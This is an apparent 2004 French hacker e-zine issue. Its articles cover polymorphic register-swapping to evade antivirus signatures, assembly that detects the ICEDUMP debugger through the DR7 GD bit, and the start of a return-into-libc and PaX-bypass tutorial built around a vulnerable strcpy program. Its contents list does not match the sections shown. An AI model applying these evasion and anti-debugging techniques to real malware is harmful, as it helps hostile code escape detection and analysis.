DHS Team- The Dealer Hack
Security Team
*************************************************************
\\\\\\\\\\\\\\\\\\\\\\\\ooooooooo:::::TDC Mag N°5:::::ooooooooo//////////////////////
Ecrit le 01/03/2004
**************************DHS Team
Contacts**************************
DHS Team Super Admin: Nocte => nocte@dhs-team.org
DHS Team Admin & Rédacteur : deepfear
=> deepfear@dhs-team.org
DHS Team Admin & Webmaster: NaNoStaCk
=> nanostack@dhs-team.org
DHS Team Member & Super Moderator : vRz
=> vrz@dhs-team.org
DHS Team Member : An0nym0uS => an0nym0us@dhs-team.org
DHS Team Member : etherlord => etherlord@dhs-team.org
DHS Team Member : tolwin => tolwin@dhs-team.org
DHS Team Member : warlock => warlock@dhs-team.org
*********************************************************************
/////////////////////////////////////////////////////////////////////////////////////////////////
SOMMAIRE
/////////////////////////////////////////////////////////////////////////////////////////////////
1 - EDITO : TDC N°5
2 - VIRUS : Polymorphisme sub-instruction par motif de bits - tolwin
3 - REVERSE ENGINEERING AVANCE : Les Registres Debug d'Intel et le bit
GD du registre DR7- etherlord
4 - SECURITE : Prendre le contrôle avec une Format String - Nocte
5 – HACKING – Advanced Buffer Overflows Exploitation : Bypassing PaX Protection
- Nocte
6 - FAILLES & EXPLOITS : DHS Team Advisories & Exploits - DHS
Team
/////////////////////////////////////////////////////////////////////////////////////////////////
=====================================================================
1. EDITO.
=====================================================================
Huuuu! Y0 world :) TDC Mag issue 5 is h3r3 :p On se demandait d'ailleurs
si un jour, il allait sortir. Il atteint ainsi le même nombre d'opus que le
célèbre e-zine de rtc...
Sauf que, pour une fois, on ne vient pas les mains vides. Le WebSite de DHS
Team sera online durant le mois de mars, c'est sur maintenant => http://www.dhs-team.org,
accompagné de notre Challenge : Heavy Hacking Challenge ;-) Merci à NaNo pour
son excellent travail et pour vRz qui a taffé sur le Challenge, ainsi que
tous les Teamer de DHS :)
On réapparaît donc pour notre e-zine près de 6 mois après le numéro 4! Pourquoi
tant d'attente ? La Team a beaucoup évolué, elle a été restructuré et chaque
membre taff pour quelque chose de précis autour d'une organisation évidente.
En outre, l'un des Super Admin de DHS, A-bone a définitivement quitté l'underground
français ce qui a permit à NaNoStaCk de devenir admin de DHS. Niveau mag,
pour cette fois, pas de DHS Security Advisories & Exploits : le prochain
aurait un article énorme sur toutes les failles DHS, et une réflexion
sur les méthodes de recherches. Par contre, ici, des articles de l33tz
sur l'ASM, les processeurs Intel, les format string vuln... Notre site propose
également des Défis de programmation / Security Hacking.
Toute team de Hacking Security se doit maintenant d'entreprendre des changements,
des nouvelles conceptions pour survivre. Pourquoi ? Parce que le Net est tellement
envahi de "teams" ou boards de Hacks qui recopient des codes censés
"pirater" (ouah! quel classe ce mot !), "hacker", ou "nicker
la mère aux autres" qu'il faut avoir un niveau relativement élevé pour
se démarquer d'eux. Aujourd'hui, ce sont des boards de djeunz, des "Centres
de Newbies" comme ils disent, des teams de l'Und3rGrouND qui polluent
le Net. Putain, c'est tellement cool de virer l'index de IH.... Enfin, quoi
qu'il en soit, on essaie nous aussi de progresser et d'être actif.
Pour informations, la suite de l'article de deepfear : Virus ELF Part 2 paraîtra dans le prochain numéro.
Sur ce, bonne lecture et amusez-vous bien (mais pas trop quand même :p)
DHS Team Admin
=====================================================================
2 . : POLYMORPHISME SUB-INSTRUCTION PAR MOTIF DE BITS
=====================================================================
Date : 20/12/2004
Auteur : tolwin
Produit :
0 - Introduction
----------------
Avant tout, ce texte est prévu pour être lu avec une police Console, en raison des deux ou trois tableaux que vous y trouverez.
Retour dans les années 95. Je lisais beaucoup de documents sur l'assembleur, m'intéressant plus particulièrementaux techniques de furtivité utilisées par les virus ms-dos. Entre autre choses, j'avais trouvé un article quitraitait de ce dont je vais parler. Depuis, je n'ai pas Particulièrement entendu reparler de cette technique. Pourtant, je la trouve intéressante. Primo car elle peut s'avérer efficace, secundo parce qu'elle entraine encore plus loin dans la compréhension de la machine.
I - Pourquoi le ploymorphisme
-----------------------------
Ah si j'étais invisible... Serais-je un gentil ou un méchant ? Avec les pleins-pouvoirs de l'invisibilité, je pense que je verserais plutôt du côté obscur. Ben quoi. Et j'aurais beau croiser des policiers ou des douaniers, je n'aurais rien à craindre. Impossible de me reconnaitre. Quelle belle vie pour un méchant.
Dans l'ordinateur, c'est aussi la guerre. Antivirus et moniteurs de comportement y tiennent lieu de policiers et douaniers. Et si M. Phelps se met un bout de caoutchouc sur la figure pour leurer l'adversaire, le programme malicieux peut également recourir au postiche et se grimer. Là est l'art du polymorphisme.
Les antivirus se basent principalement sur des signatures. Une signature, ca peut être des séquences d'octets connues dans le code d'un programme dangeureux. Ca peut également être un CRC opéré sur tel bout du code.Le principe est donc de rendre le code du programme le plus Insaisissable possible afin d'empêcher au maximum qu'une chaîne de signature ou un CRC puisse être constitué.
Le polymorphisme est un moyen utilisé pour déguiser le contenu d'un programme. Polymorphe -> plusieurs formes.
L'autre méthode antivirale est l'analyse heuristique. Elle est moins utilisée car plus gourmande en ressources. Raoul veut bien installer Norton sur son PC, mais il ne faut pas que Norton fasse ralentir Need For Speed. Un pc c'est fait pour jouer, bordel !
Dommage car elle est assez efficace. Axée "micro reverse engineering",
elle analyse le code d'un programme et peut y déceler des comportements
suspects, comme tenter d'écrire sur le secteur de boot du disque dur,
ou même détecter une boucle de cryptage implémentée
sans discrétion. Du temps
de Windows 3.11, je ne sais plus lequel de F-Prot ou TBAV intégrait
une analyse heuristique assez efficace. A l'époque, je praticais beaucoup
l'assembleur 16 bits et cet anti-virus était pour moi un bon test de
discrétion.
Cette méthode génère aussi son lot de faux positifs, et Raoul risquerait de ne plus acheter ses mises à jour d'antivirus si son Norton lui répète tous les jours que Format et Fdisk sont des programmes dangeureux. Raoul, je dois les effacer ou les ignorer ? Heuuuuu... N'oublions pas : fdisk, Raoul il connait pas.
C'est l'universelle loi du marché : incompétence et paresse
des milliards de clients sont les ennemis de la performance d'un pauvre petit
produit. Au passage, je fais remarquer que ce
principe s'applique en politique et en culture également. D'ailleurs
qui soutiendrait que culture et politique ne sont pas des marchandises ?
II - Voyage au centre du Polymorphisme
------------------------------------------
Je vous invite à un peu d'histoire. Rapidement, on va passer en revue les grandes familles de techniques de brouillage de code, depuis le cryptage jusqu'au polymorphisme.
Un programme avec une partie de son code brouillé par une fonction
de cryptage n'est pas à proprement parler polymorphique : si c'est
toujours ce même programme avec cette même boucle
de cryptage qui est utilisée, alors cryptage ou pas il n'existe bel
et bien qu'une seule forme. Et "un" c'est pas "plusieurs".
Sisi j'insiste. C'est un axiome fondamental pour le ploymorphisme ;)
Le cryptage sert pour brouiller des informations, pour les rendre illisibles.
Par exemple, crypter les chaines de caractères d'un programme pour
éviter que Raoul, armé de Hex Edit, ne
s'amuse à mettre son nom partout à la place du votre, le programmeur,
avec le même Q.I. qu'un chien qui pisse sur les lampadaires. Pour éviter
aussi que Norton n'utilise comme signature pour votre programme malicieux
la subtile pensée dont vous êtes si fier et que vous imposez
à la vue de vos victimes juste avant leur mort : "je té
niké béto chuis mailleur ke toua". Une bien
humiliante postérité peut s'éviter avec un simple XOR,
sinon le monde entier apprendra dans les pages du Virus Informatique que DeathBringerKingOfRulez
écrit aussi mal le français que le
C++. Mais passons...
+-----------------------+
| Routine de décryptage |
+-----------------------+
+-----------------------+
| Partie cryptée |
+-----------------------+
Une des premières améliorations a été de transmettre,
par exemple à chaque nouvelle infection d'un virus, une version du
programme crypté avec une nouvelle valeur. Les variantes sont multiples
comme le compteur de milisecondes tiré de l'horloge de l'ordinateur.
Le code crypté change bien d'apparence à chaque fois. On a obtenu
un polymorphisme de clé de cryptage.
+-----------------------+
| Routine de décryptage |
+-----------------------+
| Clé variable |
+-----------------------+
+-----------------------+
| Partie cryptée |
+-----------------------+
Puis on s'est rendu compte que la routine de décryptage suffisait à
établir une signature. Se faire trahir par ses propres armes, quel
coup du sort ! On a donc fourni au programme un stock de
4 ou 5 routines de décryptage parfaitement compatibles entre elles.
Lors d'une nouvelle infection, on change la clé de cryptage mais on
extrait du programme une nouvelle fonction de décryptage. Ainsi, cette
fonction ne peut plus être utilisée pour établir une signature.
On a du polymorphisme de fonction.
+-------------------------------------+
| Une des routines de décryptage |
+-------------------------------------+
| Clé variable |
+-------------------------------------+
+-------------------------------------+
| Partie cryptée |
| +----------------------------------+
| | Stock crypté des autres routines |
| | de décryptage |
+--+----------------------------------+
Certains antivirus ont alors décidés de mettre 4 ou 5 signatures
pour un même programme dangeureux, une par routine de décryptage.
La stratégie a donc été de brouiller les routines. Toutes
les deux ou trois instructions assembleur, le programme comporte quelques
octets en plus. A chaque réplication, le programme y écrit les
valeurs d'instructions qui ne perturbent pas le cours de a routine, comme
un NOP, différentes à chaque fois. Le polymorphisme descend
au niveau de l'instruction. La fonction elle-même change d'apparence
tout en restant opérationnelle. Un exemple de routine de décryptage
:
+----------------+......
| Zoom :) | ......
| +-------------+ .....
| | valide | ......
| | remplissage | .....+-------------------------------------+
| | valide | | Une des routines de décryptage |
| | valide | ...+-------------------------------------+
| | remplissage | .... | Clé variable |
| | valide | .... +-------------------------------------+
| | remplissage | .... +-------------------------------------+
| | remplissage | .... | Partie cryptée |
| | ... | .... | +----------------------------------+
| | ... | .... | | Stock crypté des autres routines |
+--+-------------+.... | | de décryptage |
+--+----------------------------------+
Pour finir cette fuite vers la finesse des altérations polymorphiques,
reste le sujet de ce papier : le polymorphisme au niveau sub-instruction,
par motif de bits.
III - L'assembleur, de l'instruction à l'octet
--------------------------------------------
Voici un exemple de code assembleur. Court et simple, il se contente de pousser la chaîne MessageBoxA dans un stack frame. L'exemple en soi est stupide, mais c'est sur celui là que j'ai commencé à travailler donc je continue avec. A côté des instructions assembleur, j'ai inscris les valeurs des octets correspondants.
mov eax,'sseM' B8 4D 65 73 73
mov [ebp-0x1c], eax 89 45 E4
mov eax,'Bega' B8 61 67 65 42
mov [ebp-0x18], eax 89 45 E8
mov ax,'xo' 66 B8 6F 78
mov [ebp-0x14], ax 66 89 45 EC
xor ax,ax 66 33 C0
mov al,'A' B0 41
mov [ebp-0x12], ax 66 89 45 EE
Les octets des mnémoniques assembleur sont lues et décodées
par le processeur. Basiquement, une instruction assembleur se décompose
de la manière suivante :
+-----------+------------------+-------------+-------------+
| OPERATION | mode d'adressage | parametre 1 | parametre 2 |
+-----------+------------------+-------------+-------------+
On peut décomposer la première ligne d'instruction de l'exemple.
B8 contient, aux yeux du processeur, lesinformations disant qu'ici commence
une instruction assembleur qui charge un
registre 32 bits avec une valeur immédiate, et que ce registre est
EAX.
+-----------+------------------+-------------+-------------+
| OPERATION | mode d'adressage | parametre 1 | parametre 2 |
+-----------+------------------+-------------+-------------+
| MOV EAX valeur immédiate | 'sseM' | rien |
+-----------+------------------+-------------+-------------+
| B8 | 4D 65 73 73 |
+------------------------------+---------------------------+
Maintenant, voici la même routine mais quatre fois de suite. A chaque
coup, je change le registre de travail utilisé par la routine. Dans
sa grande majorité, les octets codant les opérations sont similaires.
On décèle juste quelques petites variations, dont on vient de
voir l'explication.
Entre un mov eax et un mov ebx, seul change de quoi dire au processeur quel
est le registre ciblé. J'ai mis entre parenthèses les différences
à observer.
//Travail avec EAX
mov eax,'sseM' (B8) 4D 65 73 73
mov [ebp-0x1c], eax 89 (45) E4
mov eax,'Bega' (B8) 61 67 65 42
mov [ebp-0x18], eax 89 (45) E8
mov ax,'xo' 66 (B8) 6F 78
mov [ebp-0x14], ax 66 89 (45) EC
xor ax,ax 66 33 (C0)
mov al,'A' (B0) 41
mov [ebp-0x12], ax 66 89 (45) EE
//Travail avec EBX
mov ebx,'sseM' (BB) 4D 65 73 73
mov [ebp-0x1c], ebx 89 (5D) E4
mov ebx,'Bega' (BB) 61 67 65 42
mov [ebp-0x18], ebx 89 (5D) E8
mov bx,'xo' 66 (BB) 6F 78
mov [ebp-0x14], bx 66 89 (5D) EC
xor bx,bx 66 33 (DB)
mov bl,'A' (B3) 41
mov [ebp-0x12], bx 66 89 (5D) EE
//Travail avec ECX
mov ecx,'sseM' (B9) 4D 65 73 73
mov [ebp-0x1c], ecx 89 (4D) E4
mov ecx,'Bega' (B9) 61 67 65 42
mov [ebp-0x18], ecx 89 (4D) E8
mov cx,'xo' 66 (B9) 6F 78
mov [ebp-0x14],cx 66 89 (4D) EC
xor cx,cx 66 33 (C9)
mov cl,'A' (B1) 41
mov [ebp-0x12], cx 66 89 (4D) EE
//Travail avec EDX
mov edx,'sseM' (BA) 4D 65 73 73
mov [ebp-0x1c], edx 89 (55) E4
mov edx,'Bega' (BA) 61 67 65 42
mov [ebp-0x18], edx 89 (55) E8
mov dx,'xo' 66 (BA) 6F 78
mov [ebp-0x14], dx 66 89 (55) EC
xor dx,dx 66 33 (D2)
mov dl,'A' (B2) 41
mov [ebp-0x12], dx 66 89 (55) EE
Seul un octet de chaque instruction est modifié. L'idée au coeur
du polymorphisme sub-instruction est de modifier chaque octet sensible afin
que toute une routine se mette à travailler avec
EAX au lieu de EBX, puis EDX lors de la prochaine infection. La routine reste
100% fonctionnelle, sauf que son registre de travail principal change, et
donc sa représentation en octet devient variable.
Le souci est que pour chaque instruction il faut stocker les 4 octets à
utiliser : dans le cas de EAX, EBX, ECX et EDX. Rien que dans le court exemple,
4 octets sont modifiés lorsqu'on change
de registre, multipliés par 4 registres, c'est un jeu de 16 octets
qu'il faut avoir sous le coude en guise de maquillage. Plus un bout de code
pour veiller à la mutation de la routine.
On arrive à cette modélisation du corps du programme :
+-------------------------------------+
| Une des routines de décryptage |
+-------------------------------------+
| Clé variable |
+-------------------------------------+
+-------------------------------------+
| Partie cryptée |
| +----------------------------------+
| | Stock crypté des autres routines |
| | de décryptage |
| +----------------------------------+
| | Moteur de motation polymorphique |
| | avec octets de remplacement et |
| | adresse des emplacements |
| | à modifier |
+--+----------------------------------+
IV - L'assembleur, de l'octet au bit
------------------------------------
Pour éviter de se trimbaler une énorme base de données des octets par fonction et par registre, un coup de microscope va s'avérer payant. Voici un détail des 4 octets correspondant aux 4 registres utilisés dans la fonction d'exemple, ainsi que leurs équivalents en binaire.
+-------------+-------------+-------------+-------------+---------------------+
| EAX | ECX | EDX | EBX | VARIATIONS
|
+-------------+-------------+-------------+-------------+---------------------+
| B8 10111000 | B9 10111001 | BA 10111010 | BB 10111011 | 2 bits :
101110xx |
| 45 01000101 | 4D 01001101 | 55 01010101 | 5D 01011101 | 2 bits :
010xx101 |
| C0 11000000 | C9 11001001 | D2 11010010 | DB 11011011 | 2x2 Bits :
110xx0xx |
| B0 10110000 | B1 10110001 | B2 10110010 | B3 10110011 | 2 Bits :
101100xx |
+-------------+-------------+-------------+-------------+---------------------+
| bits à 00 | bits à 01 | bits à 10 | bits à 11
|
|
+-------------+-------------+-------------+-------------+---------------------+
Là, révélation. Les motifs binaires montrnt bien que
seuls deux bits sont utilisés pour coder lequel des quatre registres
est utilisé.
On a vu comme une instruction assembleur était structurée en
éléments que le processeur reconnait et décode. On a
vu comme ces parties étaient parfois représentées par
le même octet. Maintenant, en entrant au coeur du motif binaire de l'instruction,
on retombe sur nos pieds et on arrive à identifier un élément
en particulier dans un octet. Au coeur de l'octet représentant l'instruction,
on se retrouve tout simplement en face d'un bête compteur sur deux bits,
un véritable index du registre à utiliser.
V - Masquage de bits
-----------------------
A ce stade, il est facile de repérer par quelles manipulations logiques on peut transformer une opération sur un registre en la même opération sur un registre différent. Dans le cas qui nous concerne pour chaque registre il y a deux formules distinctes et un cas où les deux sont à utiliser à la suite.
Quelques rappels de logique binaire, avant tout :
Mise à zéro d'un bit : ? and 0 -> 0
Mise à un d'un bit : ? or 1 -> 1
Armé de ces rappels, effectuer la translation de registre d'une instruction,
et par extension d'une routine, ne pose plus réellement de problème.
A partir de n'importe quelle valeur initiale parmi les quatre, il est possible
d'obtenir n'importe quelle autre de ces valeurs au moyen de masquages de bits.
Le tableau suivant récapitule les masquages à faire, et souligne
les deux formules qu'on peut alors utiliser.
+-------------+-------------+-------------+-----------+-----------------------------+
| EAX | ECX | EDX | EBX | Fonct. |
Formule |
+-------------+-------------+-------------+-----------+-------------------+---------+
| and FC | and FD or 1 | and FE or 2 | or 3 | mov reg64, "xxxx"
|
1 |
| | | | | | |
+-------------+-------------+-------------+-----------+-------------------+---------+
| and (FC<<3) | and (FD<<3) | and (FE<<3) | or (3<<3)
| mov [ebx+x], reg |
2 |
| | or (1<<3) | or (2<<3) | | |
|
+-------------+-------------+-------------+-----------+-------------------+---------+
| and FC | and FD or 1 | And FE or 2 | or 3 | xor reg16, reg16 |
1 + 2 |
| and (FC<<3) | and (FD<<3) | and (FE<<3) | or (3<<3)
| Formule 1 + 2 |
|
| | or (1<<3) | or (2<<3) | | |
|
+-------------+-------------+-------------+-----------+-------------------+---------+
| and FC | and FD or 1 | and FE or 2 | or 3 | Mov reg8, "x" |
1 |
+-------------+-------------+-------------+-----------+-------------------+---------+
En appliquant le bon lot de formules selon la translation de registre souhaitée,
on modifie le registre utilisé par le bout de code. Il faut juste se
souvenir qu'à tel offset du code de la
routine il faut utiliser la formule 1, 2, ou bien les deux simultanément.
Pour cela, une petite table permet de dire qu'à tel offset de la routile
on doit appliquer telles formules.
+--------+------------+
| Offset | Formule(s) |
+--------+------------+
| 0d | 1 |
| 6d | 2 |
| 8d | 1 |
| 14d | 2 |
| 17d | 1 |
| 22d | 2 |
| 26d | 1+2 |
| 27d | 1 |
| 31d | 2 |
+--------+------------+
VI - Rafinement du polymorphisme d'instruction
-------------------------------------------------
On a vu que des fonctions peuvent incorporer des instructions ne servant à rien, seulement à brouiller d'avantage les signatures. Avec la méthode du motif de bit, on gagne encore plus de flexibilité. Le moteur de mutation doit alors s'assurer de deux paramètres :
Les instructions "réelles" de la fonction doivent subir un
masquage de bits afin de fonctionner avec un registre principal "actif"
qui servira pour le bon déroulement. Les instructions "pipeau"
de la fonction doivent subir un masquage de bits afin de fonctionner avec
un des trois autres registres principaux, pouvant ainsi faire n'importe quoi
sans altérer le registre de travail "actif".
VII - Note concernant Windows
----------------------------------
Entre DOS et Windows, que de changements. L'un d'entre eux concerne directement ce domaine. Sous DOS, rien n'empêche de manipuler le code comme s'il s'agissait de données, et donc de modifier directement les octets du segment de code. Cette possibilité permettait une grande souplesse dans la mutation de code ainsi que de mettre en place des stratégies anti débuggage jouant sur le prefetch des processeurs, assez répandus sur les 486.
Sous Windows NT, le code est le code, et les données sont les données.
On ne mélange pas les torchons et les serviettes, pas vrai ? Le gestionnaire
de pages de mémoire virtuelle de Windows NT permet de bloquer l'accès
en lecture ou écriture sur certains segments. Et il est de coutume
que le segment de code soit protégé contre l'écriture.
Deux solutions. Soit penser à déverrouiller la page de code
au moyen des API adaptées, soit traviller dans des buffer contenus
dans le segment de données, stack ou heap.
VIII - Conclusion
----------**-------
Le polymorphisme sub-instruction s'avère assez aisé à mettre en place. Combiné avec les autres niveaux où peut intervenir le polymorphisme, les résultats sont très satisfaisants. Mon but n'est pas de donner un outil clef en main, et dont la compréhention est en option. Donc pas plus de code que ça.
Intel a publié un pdf nommé "instruction set reference".
Je m'attendais à y trouver facilement les motifs de bits des instructions
en fonction des registres mis en jeu, mais son usage n'est
franchement pas très aisé. La méthode empirique reste
encore plus facile.
J'espère que cette plongée au coeur de l'instruction vous aura
rappellé l'Aventure Intérieure !
++ tolwin / DHS
...::: Advanced Virii
By
tolwin:::...
=====================================================================
3 . : Les Registres Debug d'Intel et le bit GD du registre DR7
=====================================================================
Date : 07/12/2003
Auteur : Etherlord
Produit :
0 .Introduction
----------------
Avec l'évolution des microprocesseurs, les besoins ont également évolués. Si les premiers microprocesseurs n'impliquaient aucune émulation, ce n'est plus le cas des microprocesseurs actuels. Sans l'appui du processeur, certaines taches sont impossibles à réaliser. Si l'émulation n'avait pas été introduite comme composant interne d'un microprocesseur (ICE:In-Circuit Emulation), il ne serait pas possible aujourd'hui d'arrêter le microprocesseur au milieu d'un programme (breakpoint), ni même songer à tracer une instruction...
Avec l'evolution du marche, les microprocesseurs ont vu leurs posibilités
à ce niveau augmenter (les premières instructions relatives
a l'émulation sont apparues sur le 80186, instructions ajoutées
ou ameliorées ensuite à chaque parution d'une nouvelle 'famille'
de microprocesseur). Le 80386 a vu apparaitre les registres DEBUG, le pentium
quand a lui presente une toute nouvelle
facon de gérer l'émulation.
Ce papier a pour but de vous presenter un bit un peu particulier d'un des registre Debug d'Intel. Bit qui peut être utilisé par une application pour determiner si elle est sous l'emprise d'un debuggeur.
I.Les registres DRx
-------------------
Les processeurs Intels Pentium contiennent 8 registres appeles 'Debug'. Ces registres sont notes de DR0 a DR7. Les registres DR4 et DR5 sont actuellement reservés.
Ces registres sont utilises pour fixer des point d'arrets dans un programme (breakpoints), mais attention, des points d'arrêts un peu spéciaux, aussi appelés HARDWARE BREAKPOINT. On utilise la notation HARDWARE, car ces point d'arrêts utilisent les registres internes DRx du CPU. Il est possible de fixer un maximum de 4 points d'arrêts, des registres DR0 a DR3.
Le registre DR6 contient des informations sur le status des point d'arrets.
Le premier nibble (un nibble = 4 octets) utilise 1 bit pour chaque point d'arrêt.
Le bit du nibble est défini à 1 quand le point d'arrêt
rencontre sa condition d'établissement. Point intéressant, le
bit est defini MEME QUAND LE POINT D'ARRET N'EST PAS ACTIF. Une protection
logicielle peut déjà jouer sur
ce fait pour déterminer si les registres DR0 à DR3 sont utilisés.
Le registre DR7 contient les propriétés des points d'arrêts.
Le premier byte
concerne la localisation du point d'arrêt, a noter qu'une des propriétés
des points d'arrêts est d'être executée pour une tache
précise, ou pour toutes les tâches. Ces drapeaux sont respectivements
notés L (Local) et G (Global)
I.a.Exploitation des registres DRx pour désactiver/détecter
un débuggeur
------------------------------------------------------------------------
c'est une technique assez simple, en fait, les registres DRx etant exploités par un débuggeur pour définir des point d'arrêts, un programme qui utilise l'API SetThreadContext (le but étant d'atteindre le Ring 0 de manière transparente) et qui va vider les registres DRx va rendre ineffectif tout point-d'arrêts définis par le débuggeur. Une solution élégante pour le moins :)
Une autre technique de protection pour un programme peut être d'utiliser
les registres DRx comme partie d'un calcul. L'utilisation d'un débuggeur
va modifier les registres DRx, faussant alors le
calcul. Si ce dernier est utilisé pour calculer un pointeur, on est
sur de provoquer une exception si le programme tourne sous l'emprise d'un
débuggeur.
II.Le registre DR7 et son GD
-------------------------------
Voyons tout d'abord d'un petit peu plus prés les spécifications du registre DR7:
<(31)-- Debug Register 7
--(0)>
Len|R/W|Len|R/W|Len|R/W|Len|R/W|TT|TB|GD|IR|x|x|GE|LE|G3|L3|G2|L2|G1|L1|G0|L0|
3 | 3 | 2 | 2 | 1 | 1 | 0 | 0 |
Le registre DR7 contient les spécifications des points d'arrêts.
Les 8 premiers bits (L0,G0....G3) sont consacrés à définir la localisation des 4 points d'arrêts hardware: pour chaque point d'arrêt, on peut definir si la condition s'applique (L)ocalement (processus seul) ou (G)lobalement (tous les process) les bits 8 et 9 contiennnent le point d'arrêt exacte (Local et Global), cela signifie que lorsqu'une exception debug apparait, le debugger connait l'instruction exacte qui as cause l'exception.
les bits 10 et 11 sont reservés.
le bit 12 est le bit IR (Interrupt Redirection). Quand ce bit est defini, l'émulateur (ICE) suspend l'exécution du processus quand une condition d'un pont-d'arrêt (n'importe lequel) est atteinte.
le bit 13 est le bit GD (General Detection, aussi connu sous le nom Global Debug). Quand ce bit est défini, il détecté les accès aux différents registres DRx, quand une interaction apparait entre une application et les registres DRx, si le bit GD est défini a ce moment là une interruption (INT 1) est générée. Une fois que l'interruption a été exécutée, le bit GD est re-initialisé.
le bit 14 (Trace) généré un cycle spécial du CPU à chaque fois qu'une discontinuité intervient dans l'interprétation d'un code. L'émulateur (ICE) liste ce cycle spécial et le stoque dans les données de trace. Cela permet au CPU de reconstruire des séquences de code d'après les données de trace.
le bit 15 fait partie de ces aires non documentées par Intel. Potentiellement peut êre utilisé en complément du bit 14.
les bits 16 a 29 décrivent les condition pour lesquels un point d'arrêt est effectif. Chaque condition prends 2 bits. Ensuite vient la longueur (1, 2 ou 4 bits).
0(00) = BP a l'exécution
1(01) = BP sur l'écriture de donnée
3(11) = BP sur l'écriture et la lecture de donnée
II.a.L'utilite du bit GD
------------------------
Quelle peut être l'utilité de ce bit au niveau d'une protection ?
Le bit GD PROTEGE les registres debug (inclus les applications en Ring 0).
Si ce bit est actif, tous les accès ecriture/lecture des registres
debug vont entrainer une exception (INT 1). Cette exception peut être
rattrapée par un 'Exception Handler'. Lorsqu'on se trouve dans la partie
de l'exception handler, le processeur reinitialisé le bit GD. A ce
moment, il est possible de jouer
avec les registres debug et ensuite de restaurer le bit GD a la sortie de
la routine. Une protection peut exploiter cet état de fait pour determiner
si elle tourne sous l'action d'une autre application (trace ou debug), par
exemple, l'application ICEDUMP réinitialise le bit GD a l'exécution,
il suffit donc d'établir ce bit, de provoquer une exception et de relire
le bit pour déterminer la présence de cette application.
II.b.Utilisation du bit GD pour detecter ICEDUMP
----------------------------------------------------
Un exemple étant souvent plus parlant que des mots, voici un exemple de code pour détecter la présence de ICEDUMP:
; Credit to ^DAEMON^ for this snippet
; Many thx for the valuable infos on your site.
;
Code
main: push offset handler
push dword ptr fs:[0]
mov dword ptr fs:[0],esp ; On crée une nouvelle exception
handler
db 08dh,0c0h ; on provoque une exception
nop ; c'est le 'single-step'
necessaire apres l'exception
push 0
.....
<code du programme>
......
call ExitProcess ; fin du processus
;-----------------------------------------------;
; ici comment l'exception handler
;-----------------------------------------------
handler:
mov eax,[esp+04h]
mov ebx,[esp+0ch] ; on récupère le pointeur
de la structure context
cmp dword ptr [eax],080000004h ; single-step ???
je int_1
and dword ptr [ebx+014h],0 ; on réinitialise le registre
DR6
bts dword ptr [ebx+018h],013 ; on défini le bit GD
bts dword ptr [ebx+0c0h],08h ; on défini le trap
add dword ptr [ebx+0b8h],02h
jmp retu
int_1:bt dword ptr [ebx+018h],013 ; on vérifie l'état de
notre bit GD
jc retu ; si pas de modif, pas
de ICEDUMP
inc found ; ICEDUMP détecté
retu: xor eax,eax
ret ; return de l'exception
handler
End Main
++ etherlord / DHS
References :
- Intel Architecture Software Developper's Manual
http://www.intel.com/design/pro/manuals/
- In-Circuit Emulation - R.R.Collind
http://www.rcollins.org/ddj/Sep97/Sep97.html
- Yates2k - Debug Register & Explanation
http://www.yates2k.net/sysinfo.html
...::: Shatter
Attacks By Etherlord:::...
=====================================================================
4 . VIRUS : INTRODUCTION AUX VIRUS ELF
- Part 2
=====================================================================
Date
: 01/01/2003
Auteur : deepfear
Introduction :
...::: ELF Infector By
deepfear:::...
=====================================================================
5 . HACKING : ADVANCED
BUFFER OVERFLOWS EXPLOITATION : BYPASSING PAX PROTECTION
=====================================================================
Date : 20/02/2004
Auteur : Nocte
--------------------------------------------------------
Sommaire :
--------------------------------------------------------
- 1. Retunr into libc
- 2. Return into plt
- 3.1 Bypassing paX aslr protection
- 3.2 Conditions de l'exploitation
- 5. ELFsh project
- 6. Conclusion
- 7. Références
--------------------------------------------------------
Attention : ce paper ne présente en aucune façon de nouvelles études sur le sujet, mais proprose une synthèse sur les recherches actuellement en cours dans ce domaine.
Les failles de type buffers overflows sont assurément les plus exploités,
parmi tous les OS existants. Pourquoi ? Une quantité astronomique d'informations,
dont des papers incontournables [6], sur ce genre de faille et d'exploits
tout faits existent sur le Net, et un simple clic suffit dorénavant
pour exploiter cette faille. Qui dit buffer overflows, dit shellcodes. Nous
avions déjà parlé précédemment des différentes
techniques pour mettre aux points des shellcodes avancés [1]. Pour
parer à cette faille, des patchs sont sortis, dont le fameux projet
PaX (pour PageEXec). Il s'agit d'un patch de protection (disponible à
[5]) pour le kernel linux à l'encontre des attaques par buffer overflow.
Ce patch rend la stack non-exécutable. De nouvelles version de ce patch
contiennent maintenant une protection efficace contre les attaque par return
inot libc [3] afin de les rendre plus difficile d'exploitation, et les dernières
protections de type ASLR les rend resque impossible en pratique [2].
1. RETURN INTO LIBC
----------------------------
Examinons avec attention comment les rutn into libc permettent de tromper les patch de sécurités et exploiter malgré tout des failles de type buffer overflows. Dans son "Getting around non-executable stack" posté sur buqtraqde securityfocus, Solar Designer est officiellement l'inventeur des return into libc. Plus tard, Nergal inventa des variantes plus coriaces qui permettaient l'exploitation de cette technique malgré les nouvelles parades des patchs de PaX, e introduisant les "return into plt" notamment et d'autres techniques de return into libc.
Les return into libc permettent l'exploitation des BOF sans avoir recours à un shellcode. Techniquement, cette attaque consiste à modifier le stack pointer, et le déplacer sur une séquence d'adresses de procédures exécutables, de manière à simuler des frames de confctions dont le code est déjà présent dans le processus. Pour cela, les adresses des fonctions et de certains de leurs paramètres sont nécessaires, et lors du 'ret' de la fonciton vulnérable, la séquence de foncitons est exécutée ce qui ne nécessite plus l'exécution de code. Ainsi, on peut aisément contourner une protections non-exécutable (au niveau de la stack ou du heap) ; par ailleurs, cette méthode peut être utile dans le cas d'exploitation de BOF impliquant des buffers trop petits pour y placer un shellcode.
Nous n'allons pas reprendre ici les bases des failles de buffer overflows (voir [1]). Rappelons quelques idées. Les exploits de buffers overflows tentent d'écraser l'adresse de retour d'une fonction par une valeur qui pointe généralement vers le buffer vulnérable. L'adresse de retour d'une faonction, sauvegardé sur la pile, est une sauvegarde du registre EIP (qui contient l'adresse de la prochaine instruction à exécuter). Ainsi, si on modifie la sauvegarde du registre EIP, au retour de la fonction, le flux d'exécution sera détourné et continuera là où pointe cete nouvelle adresse modifiée.
Soit le programme
--vuln.c--
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
strcpy(buffer, argv[1]);
return(0);
}
Faile classique de buffer overflow au niveau de strcpy().
